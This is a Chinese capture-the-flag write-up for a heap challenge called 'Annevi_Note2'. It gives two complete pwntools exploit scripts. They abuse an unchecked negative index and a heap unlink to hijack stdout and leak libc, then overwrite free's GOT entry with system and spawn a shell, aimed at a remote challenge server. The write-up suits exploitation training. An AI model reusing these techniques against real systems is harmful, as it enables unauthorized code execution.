1.ROP_LEVEL5

2.Annevi_Note2

  • 这题有两种做法。
  • 第一种:
  • 这里由于edit时没有对index进行检查,所以我们可以使用负的index来定位到stdout的位置,然后修改其内容,由于程序关闭了文件描述符1,所以我们修改stdout里的fileno为2,不需要爆破。然后就是unlink和第二周一样。不过由于前面把fileno改了,所以需要将描述符定位到2,用1>&2就行。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
#context.log_level='debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.Q:
	io=remote('47.103.214.163',20301)
else:
	io=process(['./AN2'])
elf=ELF('./AN2')
list_ptr= 0x6020E0
free=elf.got['free']

def add(size,content='a'):
	io.sendlineafter(':','1')
	io.sendlineafter('size?\n',str(size))
	io.sendlineafter('content:',content)
def dele(index):
	io.sendlineafter(':','2')
	io.sendlineafter('index?\n',str(index))
def show(index):
	io.sendlineafter(':','3')
	io.sendlineafter('index?\n',str(index))
def edit(index,content):
	io.sendlineafter(':','4')
	io.sendlineafter('index?\n',str(index))
	io.sendlineafter('content:',content)
def leak():
	edit(-8,p64(0xfbad1807)+p64(0)*13+p64(2))
	edit(-8,p64(0xfbad1807)+p64(0)*3+'\x00')
	io.recv(0x40)
	leak=u64(io.recv(8))-0x3c5600
	log.success('leak==>'+hex(leak))
	return leak
def pwn(leak):
	system=leak+libc.sym['system']
	add(0x90)#0
	add(0x90)#1
	add(0x90,'/bin/sh 1>&2')
	edit(0,p64(0)+p64(0x91)+p64(list_ptr-0x18)+p64(list_ptr-0x10)+'\x00'*0x70+p64(0x90)+p64(0xa0))
	dele(1)
	edit(0,p64(0)*3+p64(free))
	edit(0,p64(system))
	#gdb.attach(io)
	#pause()
	dele(2)
	io.interactive()
	
	
if __name__=='__main__':
	leak=leak()
	pwn(leak)
  • 第二种:
  • 利用修改stdout为stderr来泄漏libc,和官方的做法一样。unlink到stdout修改为stderr然后泄漏,减去偏移得到libc_base然后就是基本套路来。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
#context.log_level='debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.Q:
	io=remote('47.103.214.163',20301)
else:
	io=process(['./AN2'])
elf=ELF('./AN2')
list_ptr=0x6020E0
stdout=list_ptr-0x40
free=elf.got['free']

def sls(con):
	io.sendline(con)
	sleep(0.05)
def add(size,content='a'):
	sls('1')
	sls(str(size))
	sls(content)
def dele(index):
	sls('2')
	sls(str(index))
def show(index):
	sls('3')
	sls(str(index))
def edit(index,content):
	sls('4')
	sls(str(index))
	sls(content)
def leak():
	add(0x90)#0
	add(0x90)#1
	add(0x90,"/bin/sh 1>&2")#2
	edit(0,p64(0)+p64(0x91)+p64(list_ptr-0x18)+p64(list_ptr-0x10)+'a'*0x70+p64(0x90)+p64(0xa0))
	dele(1)
	edit(0,p64(0)*3+p64(stdout)+p64(free))
	edit(0,'\x40\x45')
	#gdb.attach(io)
	#pause()
	show(0)
	sleep(0.1)
	io.recvuntil('content:')
	sleep(0.1)
	leak=u64(io.recv(6).ljust(8,'\x00'))
	#print io.recv(0x60)
	log.success('leak==>'+hex(leak))
	return leak
def pwn(leak):
	libc_base=leak-libc.sym['_IO_2_1_stderr_']
	log.success('libc_base==>'+hex(libc_base))
	system=libc_base+libc.sym['system']
	edit(1,p64(system))
	dele(2)
	io.interactive()

if __name__=='__main__':
	leak=leak()
	pwn(leak)